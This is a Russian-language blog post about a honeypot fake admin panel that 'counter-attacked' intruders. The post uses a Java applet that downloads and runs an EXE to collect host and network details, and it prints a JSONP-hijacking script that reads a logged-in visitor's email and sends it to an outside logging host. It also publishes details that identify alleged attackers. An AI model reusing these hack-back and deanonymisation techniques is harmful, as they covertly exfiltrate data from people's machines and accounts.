Не раз я сталкивался с вопросами пользователей, можно ли каким либо образом вычислить хакера который взломал тот или иной сайт. Вопрос достаточно интересный и однозначного ответа на него дать невозможно. Конечно же все зависит от квалификации человека который осуществляет атаку и от его осторожности. Но как оказалось на практике, очень многие хакеры совершают достаточно глупые ошибки и раскрывают свою анонимность. Давай посмотрим как.
Прежде всего… а зачем мне это? Я не «трехбуквенник», а скромный инженер, замыслов по захвату мира у меня пока нету и прочими недобросовестными делами я не занимаюсь, так чем же мне не угодила анонимность? Ответ прост — анонимусами, хацкерами, скрипт-кидисами… Эти ребята вечно пытаются что-то там сломать, украсть, испортить или погонять свое ЧСВ. Дело это, если подумать не такое уж и плохое (лучше чем в подворотне наркотиками баловаться), но раз ребята любят поиграть — давайте поиграем с ними.
Их анонимность дело не святое, поэтому можно с ней и посражаться 8) Но как общий результат, все это работает с любым пользователем сети Интернет, просто я применил усилия исключительно против атакующих, тех кто пытается получить несанкционированный доступ и нарушить статью 272 УК РФ. Кроме того, мой опыт будет интересной иллюстрацией к теме «контратаки» на самих атакующих в автоматическом режиме без участия человека. Результат контратаки — раскрытие информации об атакующем, что, согласитесь, дело хорошее, а не плохое…
[ad name=»Responbl»]
Бочонок с медом
Для того, чтобы не повредить анонимности ни в чем не повинных граждан и контратаковать только «злодеев», нужно быть уверенным, что данный юзверь — взломщик. Для этого достаточно иметь систему анализа поведения посетителя с механизмом обнаружения «атакующих» действий. Короче говоря, достаточно сделать honeypot. Для этого не надо разворачивать honeyd и тд. Например для общего случая с WEB ресурсом, достаточно на продакшн сервере расположить один псевдо-рабочий скрипт, который будет изображать полезность и функциональность, но на деле будет детектировать попытки проникновения и в случае «удачной» атаки изображать, что этот взлом удался. После этого исполнять контр-атаку на этого конкретного пользователя.
Наглядный пример, создадим скрипт admin.php или /admin/ не важно, любой уважающий себя атакующий найдет этот URI за несколько секунд, это очевидный ход. В случае, если хочется повысить внимание нежелательных элементов к ловушке, можно разместить линк с главной страницы (мол админка тут), ведь главная задача, чтобы плохой парень начал атаковать первым делом хонипот, а не ковырялся в нормальных скриптах.
В скрипте псевдо-админки, ясно дело, спрашивают логин и пароль. Далее дело фантазии, можно ждать когда атакующий пробрутит перебором пароль либо сделать эмуляцию уязвимости класса SQL Injection, и тогда подойдет любой пароль класса ‘ or 1=1/*, который будет давать доступ в «админку». При этом мы можем собирать статистику — как была взломана админка, подбором или через SQLi. Ну и само собой — любой кто попал в «админку» является «плохим» парнем, и его раскрытие его анонимности не вызывает у меня проблем морали.
Собственно в 2011 я разместил такой скрипт на своем горе сайте и стал ждать… ждал я не долго, так как сайт был посвящен теме ИБ, то желающих зОхакать его превышало всякое воображение.
Бей в лоб
Очевидно, что в самом общем случае, все что мы имеем об посетителе веб сайта (и атакующем, в нашем частном случае) это лишь IP адрес, User-Agent и тд. Как я говорил, мы не CIA/FSB/MOSSAD… у нас нет СОРМ или PRISM, и мы понимаем, что IP адрес (учитывая разные там Proxy серверы и TOR) — это фактически НИЧЕГО. С этим мы и имеем дело в большинстве случаев, но если разыграть один тонкий психологический момент (конкретно касающегося скрипт-кидди), то выяснится, что эти ребята не ждут подвоха! Другими словами, в теле «админки» можно сделать что угодно — повесить сплойт-пак например, и пробивать сплойтами нерадивых. Но я сыграл более «плоско», я запустил Апплет Java. Мол вы прошли аутентификацию… вот наша панель GUI на Java.
[ad name=»Umi 600×217″]
Элемент социальной инженерии — атакующий в порыве радости от успешной атаки SQLi может тупо запустить апплет. И… я удивился, но таких было достаточно (конечно потом, с течением времени процент пробива падал, так как информация о подставе быстро разошлась среди узкого круга специалистов ;). Собственно апплет тупо дергал EXE файл с сервера и запускал его.
EXE файл собирал НЕ ПЕРСОНАЛЬНЫЕ данные (да да, я блюду ФЗ о ПДн…), только следующую инфу: IP локальный, traceroute из сети, имя машины, логин пользователя. Это не много, но в большинстве случаев этого достаточно чтобы обойти TOR/Proxy/VPN и даже узнать фамилию атакующего! Дополнительно, конечно, можно было бы собирать BSSID окружающих точек доступа, например, и делать съемку с веб-камеры ноута, парсить конфиг файлы с винта и тд и тп. Короче суть в том, что установив «агента контр-разведки» на ПК атакующего мы обошли многие преграды, и TOR и Proxy уже не при делах. Очевидная контр-атака.
Примечание: мой агент не имел удаленного доступа, хотя технически это можно было закодить, я не хотел бекдорить и распространять вредоносное ПО. Данный агент не был вредоносным, так как собирал сугубо техническую инфу об ПК атакующего и его сетевом окружении. Кстати, все данные передавались реверсивным DNS каналом, что улучшало успешные «отстукивания» с данными — http://www.xakep.ru/post/55661/.
[ad name=»MiBand2″]
Интересные «атакующие»:
1) Министерство обороны РФ
Одни из первых, попытались применить атаку типа SQLi ребята с ВНЕШНЕГО IP Министерства обороны Российской Федерации. К моему счастью, они либо не повелись на апплет, либо у них был Linux (так как мне впадлу было добавлять кросс-платформенность). Я знаю, что там хорошие ребята и, конечно, ничего плохого они не хотели! Но надеюсь при реальных «разведывательных операциях» они используют хотя бы китайские прокси сервера 😉
2) Антивирусная компания
Этот запуск был сделан с виртуальной машины антивирусной компании. DNS сервер и tracert спалили контору 8) Примечательно что ребята не добавили агента в список вредоносного ПО! Оценили. Спасибо вам ребята!
3) Куча ребят
Просто куча разных ребят, кто-то знал о фиче и просто игрался, кто-то нет (http://habrahabr.ru/post/122107/#comment_4003842)
4) И самое интересное Хост принадлежащий РАЗВЕДКЕ одной из стран СНГ. С «обратным» проникновением.
Поначалу я решил что вот она, кибер война началась! Наш агент в результате контр-атаки оказался запущен на хосте, принадлежащем службе разведки другого гос-ва. Только учетная запись выглядела как сервисная, что наводило на мысль, что хост был скомпрометирован и использовался как посредник. Чуть позже в то же день мы получили инсталл второго «агента» из той же страны, только в этот раз не из сети правительственного учреждения, а с домашнего ПК. Имя пользователя ПК оказалось легко гуглящимся и идентифицировать человека вышло без проблем. При этом, учитывая, эти «совпадения», можно сказать что либо он работает на эту разведку, либо как-то получил доступ к правительственному хосту.
Ранение рикошетом
Окей, мы поняли, что простейший путь раскрытия анонимности — контратака через сплойт-паки или с элементами СИ, но это толсто и очевидно. Но была еще одна идея — сторонние сервисы, такие как веб-почта или, например, социальные сети. Можно сделать атаку более незаметной… что я и сделал 8)
Да, кроме апплета, в случае успешной атаки на меня, я узнавал e-mail атакующего, чтобы точно знать «кто виноват» (ну а что делать и так ясно..). И опять же, анонимность это не TOR/VPN/Proxy chain. Этого не достаточно! И так суть проста, если гражданин использует сервисы типа ВКонтакте, yandex, google, linkedin, twitter, facebook и тд… и при этом он на них постоянно аутентифицирован, то при наличии каких-либо уязвимостей (CSRF/XSS) на этих сервисах позволят раскрыть ВАШУ анонимность. Так получилось, что на сервисах mail.ru и yandex.ru были найдены уязвимости (я о них сообщил давно, и они давно запатчены, тем нем менее я успел испытать ради моего «научного» эксперимента по практической поимке злых парней…). Уязвимость самая банальная (на обоих сервисах): JSONP Hijacking. Суть проста, есть некий сервис:
mail-service.com/ajax?callback=func
Который использует cookie аутентификацию, и возвращает что-то типа:
func({"e-mail":"username@mail-service.com"});
Соответственно, для эксплуатации этой бреши и раскрытия анонимности используем код:
<script> function func(obj) { var url="http://loger.com/log.php?value="+obj["e-mail"]; $.get(url); } </script> <script src="http://mail-service.com/ajax?callback=func"/>
Так что помните: можете забыть о TOR/VPN, если вы вечно носитесь по соц. сетям, даже не надо иметь PRISM, чтобы проследить кто вы и откуда, достаточно «тупых» CSRF/XSS.
Типичный атакующий:
И еще…
Кстати, как еще пример такого подхода, сеть linkedin, даже не нужна уязвимость, там это реальная фича — лог тех, кто просматривал ваш профайл. То есть если на мою админку повесить тупо редирект на специальный зарегистрированный профайл linkedin:
То в итоге можем прямо в linkedin’е узнавать больше информации об атакующих:
Кстати, можно заметить, что SAMEORIGIN не помогает, так как GET запрос проходит до того, как браузер проверит ORIGIN политику, проверка происходит ПОТОМ 😉
[ad name=»Responbl»]
Статистика
В конце немного статистики. Эксперимент длился с Q2 2011 до Q3 2012.
Всего УНИКАЛЬНЫХ атак SQLi — 484 (за ~1.2 года)
Из них успешных контр-атак (Java Applet) — 52 (за ~1.2 года)
Из них успешных контр-атак на mail.ru/yandex.ru — 16 (за 6 месяцев)
~ 17 % успеха при контр-атаках.
График зависимости:
Как видно, в начале был апплет, а «мыло» я добавил значительно позже. Пики по посещаемости связаны с анонсами ZeroNights и встреч Defcon группы. Пробив по почте фактически линейный, тогда как в случае апплетов -зависимость была линейной лишь в начале эксперимента. Это связано с обновлениями Java, антивирусы добавили апплет потом в базу вредоносного ПО (что неудивительно ибо он собран из metasploit пейлода)
P.S. Кстати, если с yandex.ru есть куда сообщать о найденных мной багах, то в случае с mail.ru я не нашел контакты, пока не познакомился с тамошним ИБшником и не слил багу ему лично…
[ad name=»UMI 600×313″]
Выводы
Хоть этот блог-пост больше о том как я ловил «плохих» парней, хотя на самом деле это можно экстраполировать на вопросы анонимности в сети Интернет — уж если ИТ/ИБ специалисты и хацкеры палятся, то что говорить о нормальных людях? Вполне очевидно, что TOR/Proxy и VPN не помогают в этом вопросе. Достаточно логина в соц.сети, невнимательности и еще много чего, чтобы однозначно сопоставить посетителя веб-ресурса с реальным человеком. Будьте аккуратнее и JFYI: Как работают настоящие зло-хакИры
Ну и второй вывод, контр-атака на атакующего не такая уж и плохая идея, меньше вы о нем знать не станете, но если «прокнет», то вы получите много интересной инфы. Кстати, в некотором государстве эти штуки уже работают (как мне сообщили). Так что кибер-война это весело!
P.S. Оригинальные материалы, где чуть более детально раскрыты баги:
Слайды с BH EU 2013
Текстик с BH EU 2013
May the Force be with you.